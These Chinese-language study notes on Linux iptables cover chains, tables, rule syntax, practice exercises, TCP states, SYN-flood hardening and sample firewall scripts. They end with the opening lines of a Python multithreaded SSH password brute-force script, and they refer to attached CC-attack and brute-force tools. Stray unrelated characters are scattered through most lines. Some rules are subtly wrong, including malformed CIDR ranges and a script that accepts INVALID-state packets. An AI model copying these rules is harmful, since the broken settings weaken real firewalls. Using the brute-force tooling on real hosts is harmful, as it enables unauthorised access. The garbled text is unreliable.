iptables
附件
CC攻擊器-邪惡十六進(jìn)制2.0 模擬cc攻擊
python寫的暴力破解的腳本 模擬暴力破解攻擊
linux的防火墻 iptables
名詞解釋
dip|sip source(源) destination(目的,目標(biāo))
sport|dport
netfilter(iptables)
netfilter --工作在內(nèi)核軟件,實(shí)現(xiàn)數(shù)據(jù)包的過濾叠纹。
iptables --工作應(yīng)用層一個(gè)軟件,用來控制netfilter飞主。
1.netfilter/iptables包過濾防火墻(tcp/ip四層)
1)應(yīng)用層 --通過軟件為用戶提供接口
2)傳輸層 --提供可靠或不可靠的數(shù)據(jù)傳輸(TCP/UDP)使用端口來標(biāo)示服務(wù)類型 sport dport
3)網(wǎng)絡(luò)層 --提供路由和選址(icmp) sip dip
4)數(shù)據(jù)鏈路層 --傳輸數(shù)據(jù)幀(MAC) s _mac arp寫 在局域網(wǎng)內(nèi)泛洪 來找到我們對(duì)應(yīng)的MAC
5)物理層 --傳輸透明比特流 eth0 eth1
過濾的依據(jù): s_mac/sip/dip/sport/dport/狀態(tài)(三次握手/四次斷開)SYN DDOS攻擊怎么防御我們DDOS 小流量
netfilter的邏輯架構(gòu): nat 10
netfilter防火墻的元素及關(guān)系:
netfilter==>表==>鏈==>規(guī)則
三張表:
filter 防火墻表,允許和拒絕都在這里實(shí)現(xiàn)
nat 地址轉(zhuǎn)換
mangle 數(shù)據(jù)包整形
五條鏈:
INPUT 本機(jī)進(jìn)站的數(shù)據(jù)流
OUTPUT 本機(jī)出站的數(shù)據(jù)流
FORWARD 路由的數(shù)據(jù)流
POSTROUTING 路由后的數(shù)據(jù)流
PREROUTING 路由前的數(shù)據(jù)流
表跟鏈的對(duì)應(yīng)關(guān)系:
filter:INPUT,OUTPUT,FORWARD
nat: OUTPUT,PREROUTING,POSTROUTING
mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING
四種數(shù)據(jù)流:
本機(jī)進(jìn)站的數(shù)據(jù)流:packet-->ethX-->PREROUTING-->INPUT-->本機(jī)
本機(jī)出站的數(shù)據(jù)流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
路由的數(shù)據(jù)流:
出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
回來: packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
本機(jī)訪問本機(jī): 本機(jī)-->packet-->lo-->PREROUTING-->INPUT-->本機(jī)
本機(jī)-->packet-->OUTPUT-->POSTROUTING--lo-->本機(jī)
表的匹配順序:
mangle-->nat-->filter
防火墻規(guī)則匹配順序:
1.按順序匹配,如果第一條匹配到了就直接執(zhí)行這條規(guī)則的動(dòng)作,不往下匹配其它規(guī)則.
2.如果第一條匹配不到,第二條也匹配不到,繼續(xù)往下匹配直到找到匹配的規(guī)則,如果找不到匹配默認(rèn)規(guī)則.
傳輸層:協(xié)議(tcp/udp)
端口(sport/dport)
網(wǎng)絡(luò)層:
IP地址(sip/dip/icmp) ping
數(shù)據(jù)鏈路層:
mac地址(--mac-source)
物理層:
從哪個(gè)網(wǎng)卡進(jìn)來 -i eth0 eth1 服務(wù)器2個(gè)地址 外網(wǎng)地址 一個(gè)內(nèi)網(wǎng)地址
iptables操作命令
#iptables --help
Usage: iptables -[AD] chain rule-specification [options]
iptables -[RI] chain rulenum rule-specification [options]
iptables -D chain rulenum [options]
iptables -[LFZ] [chain] [options]
iptables -[NX] chain
iptables -E old-chain-name new-chain-name
iptables -P chain target [options]
iptables -h (print this help information)
--append -A chain 追加規(guī)則
--delete -D chain 刪除規(guī)則
--delete -D chain rulenum 刪除指定序號(hào)的規(guī)則
--insert -I chain [rulenum] 插入一條規(guī)則(default 1=first) 插入會(huì)插入表的第一行
--replace -R chain rulenum 替換一條規(guī)則
--list -L [chain] 顯示出鏈或者鏈中的規(guī)則
--flush -F [chain] 在一個(gè)鏈或者所有鏈中清空規(guī)則
--zero -Z [chain] 清空計(jì)數(shù)
--new -N chain 創(chuàng)建用戶自定義鏈
--delete-chain
-X [chain] 刪除用戶自定義鏈
--policy -P chain target 指定默認(rèn)規(guī)則
Change policy on chain to target
--rename-chain
-E old-chain new-chain
重命名用戶自定義鏈
Options:
--proto -p [!] proto 指定協(xié)議,!代表取反
--source -s [!] address[/mask] --指定源地址
source specification
--destination -d [!] address[/mask] --指定目標(biāo)地址
destination specification
--in-interface -i [!] input name[+] --指定數(shù)據(jù)從哪個(gè)網(wǎng)口進(jìn)來
network interface name ([+] for wildcard)
--jump -j target --匹配動(dòng)作
target for rule (may load target extension)
--goto -g chain
jump to chain with no return
--match -m match --擴(kuò)展匹配
extended match (may load extension)
--numeric -n --端口和IP以數(shù)值方式顯示,不作反解
--out-interface -o [!] output name[+] --指定數(shù)據(jù)從哪個(gè)網(wǎng)口出去
network interface name ([+] for wildcard)
--table -t table --指定使用哪個(gè)表 (default: `filter')
--verbose -v --顯示詳細(xì)信息
--line-numbers --顯示規(guī)則的序號(hào)
--exact -x expand numbers (display exact values)
- 查看
# iptables -t nat -L -n -v --line
# iptables -t filter -L -n
# iptables -t filter -L INPUT
# iptables -t filter -L INPUT -v -n
# iptables -t filter -L INPUT -n -v --line
# watch -n 0.1 iptables -L INPUT --line -n -v
iptables -nv -L
- 追加 插入 替換 刪除
追加規(guī)則:
# iptables -t filter -A INPUT -i lo -j ACCEPT
插入規(guī)則:
# iptables -t filter -I INPUT -i eth0 -j ACCEPT --插入成為第一條
# iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT --插入成為第三條規(guī)則
替換規(guī)則:
# iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT --替換成為指定規(guī)則
刪除規(guī)則:
# iptables -t filter -D INPUT 2 --刪除指定鏈指定編號(hào)的規(guī)則
+++++++++++
#iptables -t filter -A INPUT -i lo -j ACCEPT
#iptables -t filter -A OUTPUT -o lo -j ACCEPT
#iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
# iptables -t filter -A INPUT -i eth1 -j ACCEPT
# iptables -L INPUT -n --line -v
# iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT 插入默認(rèn)第二條
# iptables -t filter -I INPUT -i eth3 -j ACCEPT 插入默認(rèn)第一條
# iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT 替換默認(rèn)第一條
#iptables -t filter -D INPUT 1 刪除默認(rèn)第一條
# iptables -t filter -F INPUT 清空filter所有INPUT鏈
#iptables -t filter -F
#iptables -L INPUT -n --line -v
空規(guī)則:
1奸远、清空一張表
# iptables -t filter -F
注意不會(huì)清除默認(rèn)規(guī)則
2既棺、清空一條鏈中的規(guī)則
# iptables -t filter -F INPUT
新建/刪除用戶自定義的鏈:
# iptables -t filter -N uplooking 新建
# iptables -t filter -X uplooking 刪除
# iptables -t filter -X 清空filter表中所有用戶自定義鏈
+++++++++
iptables -t filter -N TCP
iptables -t filter -N UDP
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A INPUT -p tcp -j TCP
++++++++
更改默認(rèn)規(guī)則:
# iptables -t filter -P INPUT ACCEPT
# iptables -t filter -P INPUT DROP
1、iptables擴(kuò)展匹配
- iptables(user space)/netfilter(kernel space)
- netfilter組成(表(功能模塊)/鏈/規(guī)則)
filter(INPUT/OUTPUT/FORWARD) 過濾
nat(PREROUTING/POSTROUTING/OUTPUT) 地址轉(zhuǎn)換
mangle(5個(gè)鏈 ) 更封裝層數(shù)據(jù)包結(jié)構(gòu)
-->PREROUTING-->FORWARD-->POSTROUTING-->
INPUT | | OUTPUT
本機(jī)
規(guī)則的匹原則:
1懒叛、自上而下按順序匹配
2、如果匹配到某條規(guī)則耽梅,執(zhí)行這個(gè)規(guī)則動(dòng)作薛窥,就不往后匹配其它規(guī)則
3、如果列表的所有的規(guī)則都匹配不到,則匹配默認(rèn)規(guī)則
iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
ACCEPT 接受
DROP 悄悄丟棄
REJECT 明示拒絕
SNAT 基于源地址的nat轉(zhuǎn)換诅迷,其作用是將ip數(shù)據(jù)包的源地址轉(zhuǎn)換成另外一個(gè)地址
DNAT 目的地址轉(zhuǎn)換 其作用是將ip數(shù)據(jù)包的目標(biāo)地址轉(zhuǎn)換成另外一個(gè)地址
應(yīng)用層
傳輸層(tcp/udp/sport/doprt/ tcp6個(gè)控制位匹配)
網(wǎng)絡(luò)層(-s/-d/icmp)
數(shù)據(jù)鏈路層(mac)
物理層(-i/-o)
擴(kuò)展匹配
1佩番、通用匹配 -i -o -s -d
-i eth0 從這塊網(wǎng)卡流入的數(shù)據(jù) 流入一般用INPUT和PREROUING
-o eth0 從這塊網(wǎng)卡流出的數(shù)據(jù) 流出一般在OUTPUT和PSOTROUTING
-s 源IP
-d 目標(biāo)IP
2、隱含匹配 tcp udp icmp sport dport
3罢杉、擴(kuò)展匹配 -m mac | iprange | state
-m multiport:表示啟用多端口擴(kuò)展 之后我們就可以啟用比如 --dports 21,23,80,8080-8100, 3306
常用的ACTION: -j
DROP:悄悄丟棄 nmap
一般我們多用DROP來隱藏我們的身份趟畏,以及隱藏我們的鏈表
REJECT:明示拒絕
ACCEPT:接受
custom_chain:轉(zhuǎn)向一個(gè)自定義的鏈
DNAT
SNAT
MASQUERADE:源地址偽裝 nat實(shí)驗(yàn)的時(shí)候
REDIRECT:重定向:主要用于實(shí)現(xiàn)端口重定向
MARK:打防火墻標(biāo)記的
RETURN:返回
在自定義鏈執(zhí)行完畢后使用返回,來返回原規(guī)則鏈滩租。
練習(xí)題1:
只要是來自于172.16.85.14的都允許訪問我本機(jī)的172.16.100.1的SSHD服務(wù)
分析:首先肯定是在允許表中定義的赋秀。因?yàn)椴恍枰鯪AT地址轉(zhuǎn)換之類的,然后查看我們SSHD服務(wù)律想,在22號(hào)端口上猎莲,處理機(jī)制是接受,對(duì)于這個(gè)表技即,需要有一來一回兩個(gè)規(guī)則著洼,如果我們?cè)试S也好,拒絕也好而叼,對(duì)于訪問本機(jī)服務(wù)身笤,我們最好是定義在INPUT鏈上,而OUTPUT再予以定義就好葵陵。(會(huì)話的初始端先定義)展鸡,所以加規(guī)則就是:
定義進(jìn)來的:
iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
定義出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
將默認(rèn)策略改成DROP:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP
1、允許ping 127.0.0.1 和 允許 ping 10.1.1.0/24 ,其他服務(wù)都禁止
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
# iptables -A INPUT -j DROP
或者
# iptables -P INPUT DROP 《--定義默認(rèn)策略埃难,當(dāng)在規(guī)則表里找不到匹配的規(guī)則就采取策略的動(dòng)作
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
2莹弊、只運(yùn)訪問本機(jī)的SSH服務(wù)(只允許遠(yuǎn)程ssh登錄到本機(jī))
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT <---定義端口的參數(shù) --dport
還有就是
定義源端口 --source-port --sport
定義目的端口 --destination-port --dport
3、定義連續(xù)端口
iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT <---允許訪問 20到100的端口
4涡尘、定義多端口 <---引入一個(gè)“模塊”的概念
iptables -A INPUT -m multiport -p tcp --dports 22,80,110 -j ACCEPT
-m 指定模塊
multiport 支持多端口的擴(kuò)展模塊
5忍弛、允許和內(nèi)網(wǎng)的客戶(10.1.1.0/24)進(jìn)行傳輸數(shù)據(jù)(包括ping)
iptables -P INPUT DROP
iptables -A INPUT -p ALL -i eth0 -s 10.1.1.0/24 -j ACCEPT
6、決絕訪問色情網(wǎng)站www.baidu.com
iptables -A OUTPUT -d www.baidu.com -j DROP
7考抄、通過硬件地址進(jìn)行過濾
-m mac --mac-source [!] address
iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
注意REJECT 和 DROP 區(qū)別
8细疚、定義連續(xù)的IP地址
iptables -A INPUT -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP
9、對(duì)外只開放web服務(wù)川梅,其他一切不放行疯兼,不允許進(jìn)來也不允許出去
# iptables -P OUTPUT DROP
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 80 -j ACCEPT <--tcpdump tcp port 80 只看到進(jìn)來的,沒有出去的
# iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT
10贫途、綜合應(yīng)用:
本機(jī)需要開放的服務(wù)有: ssh(22) 吧彪、 web(80) 、 ftp(21 20) 丢早、 DNS(53) 姨裸、pop3(110)秧倾、pop3s(995)、IMAP(143)傀缩、IMAPS(993)那先、smtp(25)等服務(wù)。
其中web 赡艰、ftp售淡、pop3、pop3s慷垮、IMAP揖闸、IMAPS 允許所有網(wǎng)絡(luò)的人訪問;
ssh 只允許本地局域網(wǎng)中的某個(gè)MAC地址訪問
只允許本地局域網(wǎng)的用戶發(fā)送郵件
只允許本地局域網(wǎng)的用戶查詢DNS
# modprobe ip_conntrack_ftp
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
# iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT
練習(xí)題icmp:
icmp:0 8
0:應(yīng)答請(qǐng)求
8:ping請(qǐng)求
icmp對(duì)照表
假如我們?cè)试S自己ping別人换帜,但是別人ping自己ping不通如何實(shí)現(xiàn)呢楔壤?
分析:對(duì)于ping這個(gè)協(xié)議,進(jìn)來的為8(ping)惯驼,出去的為0(響應(yīng)).我們?yōu)榱诉_(dá)到目的蹲嚣,需要8出去,允許0進(jìn)來
在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT
在進(jìn)來的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT
iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP
iptables -A INPUT -p icmp --icmp-type 8 -j DROP
小擴(kuò)展:對(duì)于127.0.0.1比較特殊,我們需要明確定義它
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
/lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模塊的位置
-m connlimit:每個(gè)IP的并發(fā)連接數(shù)(TCP) --關(guān)注的是新發(fā)起的連接(NEW --syn)
mount -o loop rhel55.iso /mnt
rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT
-m icmp:ping包請(qǐng)求與發(fā)送
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT
[root@ ~]# iptables -A INPUT -p icmp -j DROP
[root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==> 0 相當(dāng)于 echo-reply
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==> 8 相當(dāng)于 echo-request
-m ipranges:IP范圍
[!] --src-range ip-ip Match source IP in the specified range
[!] --dst-range ip-ip Match destination IP in the specified range
[root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT
[root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP
-m limit:速率限制
[root@ ~]# watch iptables -L INPUT -nv
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP
-m mac:匹配源地址的 MAC 地址
[root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP
-m multiport:多端口
[root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP
-m state(NEW/ESTABLISHED/RELATED/INVALID):
NEW --第一個(gè)數(shù)包祟牲,跟TCP狀態(tài)無關(guān)
ESTABLISHED --第二個(gè)數(shù)據(jù)包
RELATED --已經(jīng)發(fā)生關(guān)系的數(shù)據(jù)(FTP)
INVALID --無效數(shù)據(jù)包
個(gè)人簡單的防火墻(狀態(tài)):
ESTABLISHED 不允許其他主機(jī)發(fā)起的主動(dòng)訪問隙畜,只允許本地主機(jī)主動(dòng)發(fā)起的發(fā)功能文以及l(fā)o通訊
[root@stu110 ~]# iptables -P INPUT DROP
[root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
[root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
RELATED:已發(fā)生關(guān)系的
(1)vsftpd數(shù)據(jù)傳輸(考慮模式,默認(rèn)是主動(dòng)模式)
主動(dòng)模式:
21 --控制端口
20 --數(shù)據(jù)端口
被動(dòng)模式:
21 --控制端口
1024+ --數(shù)據(jù)端口
[root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模塊的支持说贝,內(nèi)核才能支持 RELATED狀態(tài)
[root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
[root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
被動(dòng)模式/主動(dòng):
service vsftpd start
iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
modproble ip_conntrack_ftp --加載FTP狀態(tài)自動(dòng)跟蹤模塊议惰,它可以完成自動(dòng)切換端口
-m string:字符串內(nèi)容進(jìn)行匹配(局限大,效率低乡恕,不太用)
[root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
-m time:時(shí)間限制
[root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP
抓包命令
tcpdump port 80 -nn -v -S
tcpdump port 80 -nn -v -S
位碼即tcp標(biāo)志位,有6種標(biāo)示:
SYN(synchronous建立聯(lián)機(jī))
ACK(acknowledgement 確認(rèn))
PSH(push傳送)
FIN(finish結(jié)束)
RST(reset重置)
URG(urgent緊急)
Sequence number(順序號(hào)碼)
Acknowledge number(確認(rèn)號(hào)碼)
三次握手狀態(tài)意義:
LISTEN - 偵聽來自遠(yuǎn)方TCP端口的連接請(qǐng)求言询;
SYN-SENT -在發(fā)送連接請(qǐng)求后等待匹配的連接請(qǐng)求;
SYN-RECEIVED - 在收到和發(fā)送一個(gè)連接請(qǐng)求后等待對(duì)連接請(qǐng)求的確認(rèn)傲宜;
ESTABLISHED- 代表一個(gè)打開的連接运杭,數(shù)據(jù)可以傳送給用戶;
FIN-WAIT-1 - 等待遠(yuǎn)程TCP的連接中斷請(qǐng)求函卒,或先前的連接中斷請(qǐng)求的確認(rèn)辆憔;
FIN-WAIT-2 - 從遠(yuǎn)程TCP等待連接中斷請(qǐng)求;
CLOSE-WAIT - 等待從本地用戶發(fā)來的連接中斷請(qǐng)求报嵌;
CLOSING -等待遠(yuǎn)程TCP對(duì)連接中斷的確認(rèn)虱咧;
LAST-ACK - 等待原來發(fā)向遠(yuǎn)程TCP的連接中斷請(qǐng)求的確認(rèn);
TIME-WAIT -等待足夠的時(shí)間以確保遠(yuǎn)程TCP接收到連接中斷請(qǐng)求的確認(rèn)锚国;
CLOSED - 沒有任何連接狀態(tài)腕巡;
TCP/IP協(xié)議中,TCP協(xié)議提供可靠的連接服務(wù)跷叉,采用三次握手建立一個(gè)連接逸雹,如圖1所示营搅。
(1)第一次握手:建立連接時(shí)云挟,客戶端A發(fā)送SYN包(SYN=j)到服務(wù)器B梆砸,并進(jìn)入SYN_SEND狀態(tài),等待服務(wù)器B確認(rèn)园欣。
(2)第二次握手:服務(wù)器B收到SYN包帖世,必須確認(rèn)客戶A的SYN(ACK=j+1),同時(shí)自己也發(fā)送一個(gè)SYN包(SYN=k)沸枯,即SYN+ACK包日矫,此時(shí)服務(wù)器B進(jìn)入SYN_RECV狀態(tài)。
(3)第三次握手:客戶端A收到服務(wù)器B的SYN+ACK包绑榴,向服務(wù)器B發(fā)送確認(rèn)包ACK(ACK=k+1)哪轿,此包發(fā)送完畢,客戶端A和服務(wù)器B進(jìn)入ESTABLISHED狀態(tài)翔怎,完成三次握手窃诉。
完成三次握手,客戶端與服務(wù)器開始傳送數(shù)據(jù)赤套。
四次揮手是斷開連接
由于TCP連接是全雙工的飘痛,因此每個(gè)方向都必須單獨(dú)進(jìn)行關(guān)閉。這個(gè)原則是當(dāng)一方完成它的數(shù)據(jù)發(fā)送任務(wù)后就能發(fā)送一個(gè)FIN來終止這個(gè)方向的連接容握。收到一個(gè) FIN只意味著這一方向上沒有數(shù)據(jù)流動(dòng)宣脉,一個(gè)TCP連接在收到一個(gè)FIN后仍能發(fā)送數(shù)據(jù)。首先進(jìn)行關(guān)閉的一方將執(zhí)行主動(dòng)關(guān)閉剔氏,而另一方執(zhí)行被動(dòng)關(guān)閉塑猖。
CP的連接的拆除需要發(fā)送四個(gè)包,因此稱為四次揮手(four-way handshake)谈跛⊙蚬叮客戶端或服務(wù)器均可主動(dòng)發(fā)起揮手動(dòng)作,在socket編程中币旧,任何一方執(zhí)行close()操作即可產(chǎn)生揮手操作践险。
(1)客戶端A發(fā)送一個(gè)FIN,用來關(guān)閉客戶A到服務(wù)器B的數(shù)據(jù)傳送吹菱。
(2)服務(wù)器B收到這個(gè)FIN巍虫,它發(fā)回一個(gè)ACK,確認(rèn)序號(hào)為收到的序號(hào)加1鳍刷。和SYN一樣占遥,一個(gè)FIN將占用一個(gè)序號(hào)。
(3)服務(wù)器B關(guān)閉與客戶端A的連接输瓜,發(fā)送一個(gè)FIN給客戶端A瓦胎。
(4)客戶端A發(fā)回ACK報(bào)文確認(rèn)芬萍,并將確認(rèn)序號(hào)設(shè)置為收到序號(hào)加1。
- 為何主機(jī)A在發(fā)送了最后的確認(rèn)后沒有進(jìn)入CLOSED狀態(tài)搔啊,反而進(jìn)入了一個(gè)2MSL的TIME-WAIT柬祠。主要作用有兩個(gè):第一,確保主機(jī)A最后發(fā)送的確認(rèn)能夠到達(dá)主機(jī)B负芋。如果處于LAST-ACK狀態(tài)的主機(jī)B一直收不到來自主機(jī)A的確認(rèn)漫蛔,它會(huì)重傳斷開連接請(qǐng)求,然后主機(jī)A就可以有足夠的時(shí)間去再次發(fā)送確認(rèn)旧蛾。但是這也只能盡最大力量來確保能夠正常斷開莽龟,如果主機(jī)A的確認(rèn)總是在網(wǎng)絡(luò)中滯留失效,從而超過了2MSL锨天,最后也無法正常斷開毯盈;第二,如果主機(jī)A在發(fā)送了確認(rèn)之后立即進(jìn)入CLOSED狀態(tài)病袄。假設(shè)之后主機(jī)A再次向主機(jī)B發(fā)送一條連接請(qǐng)求搂赋,而這條連接請(qǐng)求比之前的確認(rèn)報(bào)文更早地到達(dá)主機(jī)B,則會(huì)使得主機(jī)B以為這條連接請(qǐng)求是在舊的連接中A發(fā)出的報(bào)文陪拘,并不看成是一條新的連接請(qǐng)求了厂镇,即使得這個(gè)連接請(qǐng)求失效了,增加2MSL的時(shí)間可以使得這個(gè)失效的連接請(qǐng)求報(bào)文作廢左刽,這樣才不影響下次新的連接請(qǐng)求中出現(xiàn)失效的連接請(qǐng)求捺信。
- 在下面的抓包實(shí)驗(yàn)中,為什么斷開連接請(qǐng)求報(bào)文只有三個(gè)欠痴,而不是四個(gè)迄靠。因?yàn)樵赥CP連接過程中,確認(rèn)的發(fā)送有一個(gè)延時(shí)(即經(jīng)受延時(shí)的確認(rèn))喇辽,一端在發(fā)送確認(rèn)的時(shí)候?qū)⒌却欢螘r(shí)間掌挚,如果自己在這段事件內(nèi)也有數(shù)據(jù)要發(fā)送,就跟確認(rèn)一起發(fā)送菩咨,如果沒有惦辛,則確認(rèn)單獨(dú)發(fā)送尘奏。而我們的抓包實(shí)驗(yàn)中,由服務(wù)器端先斷開連接,之后客戶端在確認(rèn)的延遲時(shí)間內(nèi)箫锤,也有請(qǐng)求斷開連接需要發(fā)送撩匕,于是就與上次確認(rèn)一起發(fā)送赢乓,因此就只有三個(gè)數(shù)據(jù)報(bào)了妹萨。
DDOS原理,及輕量級(jí)別攻擊的防止
# vim /etc/sysctl.conf
net.ipv4.tcp_max_syn_backlog = 8096 --超過最大連接數(shù)后產(chǎn)生新syn隊(duì)列的長度
net.ipv4.tcp_synack_retries = 2 --syn確認(rèn)的重試次數(shù)
net.ipv4.ip_local_port_range = 1024 65535--表示用于向外連接的端口范圍标捺。缺省情況下很邪媚伞:32768到61000揉抵,改為1024到65000。
net.ipv4.tcp_syncookies = 1 --表示開啟SYNCookies嗤疯。當(dāng)出現(xiàn)SYN等待隊(duì)列溢出時(shí)冤今,啟用cookies來處理,可防范少量SYN攻擊身弊,默認(rèn)為0辟汰,表示關(guān)閉列敲;
net.ipv4.tcp_tw_reuse = 1 --表示開啟重用阱佛。允許將TIME-WAITsockets重新用于新的TCP連接,默認(rèn)為0戴而,表示關(guān)閉凑术;
net.ipv4.tcp_tw_recycle = 1 --表示開啟TCP連接中TIME-WAIT sockets的快速回收,默認(rèn)為0所意,表示關(guān)閉淮逊。
net.ipv4.tcp_max_tw_buckets=5000--表示系統(tǒng)同時(shí)保持TIME_WAIT套接字的最大數(shù)量,如果超過這個(gè)數(shù)字,TIME_WAIT套接字將立刻被清除并打印警告信息扶踊。默認(rèn)為180000泄鹏,改為5000。
sysctl -p
1秧耗、通過iptables防止輕量級(jí)別的DDOS
-m limit
-m connlimit
2备籽、DDOS的原理,三次握手(客戶端第三次不回應(yīng)服務(wù)端)
3分井、通過內(nèi)核增大TCP緩沖區(qū)车猬,支持更多的連接。
4尺锚、增加更強(qiáng)大的硬件防火墻珠闰,用于丟棄(過濾)掉不正常syn請(qǐng)求,搭建負(fù)載均衡集群,另外保證你的外網(wǎng)有足夠大的帶寬
第一種 一
從哪個(gè)網(wǎng)卡出去 -o
傳輸層:協(xié)議(tcp/udp)
端口(sport /dport)
網(wǎng)絡(luò)層:
IP地址(sip /dip /icmp) ping
數(shù)據(jù)鏈路層:
mac地址(--mac-source)
物理層:
從哪個(gè)網(wǎng)卡進(jìn)來 -i eth0 eth1 服務(wù)器2個(gè)地址 外網(wǎng)地址 一個(gè)內(nèi)網(wǎng)地址
從哪個(gè)網(wǎng)卡出去 -o
iptables防御cc攻擊腳本
#!/bin/sh
drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
if test -n $drop_ip;then
for i in $drop_ip
do
if [ -z "`iptables -nvL |grep $i`" ];then
/sbin/iptables -I INPUT -s $i -j DROP
fi
done
fi
iptable通用腳本
#!/bin/bash
# Descript:The Firewall Script.
iptables -F INPUT
iptables -F OUTPUT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT
iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
iptables -I INPUT -s 8.8.8.8 -j ACCEPT
iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
- 使用python多線程暴力破解linux密碼
#!/bin/python
import optparse
import time
from threading import *
from pexpect import pxssh
maxConnections = 100
connection_lock = BoundedSemaphore(value=maxConnections)
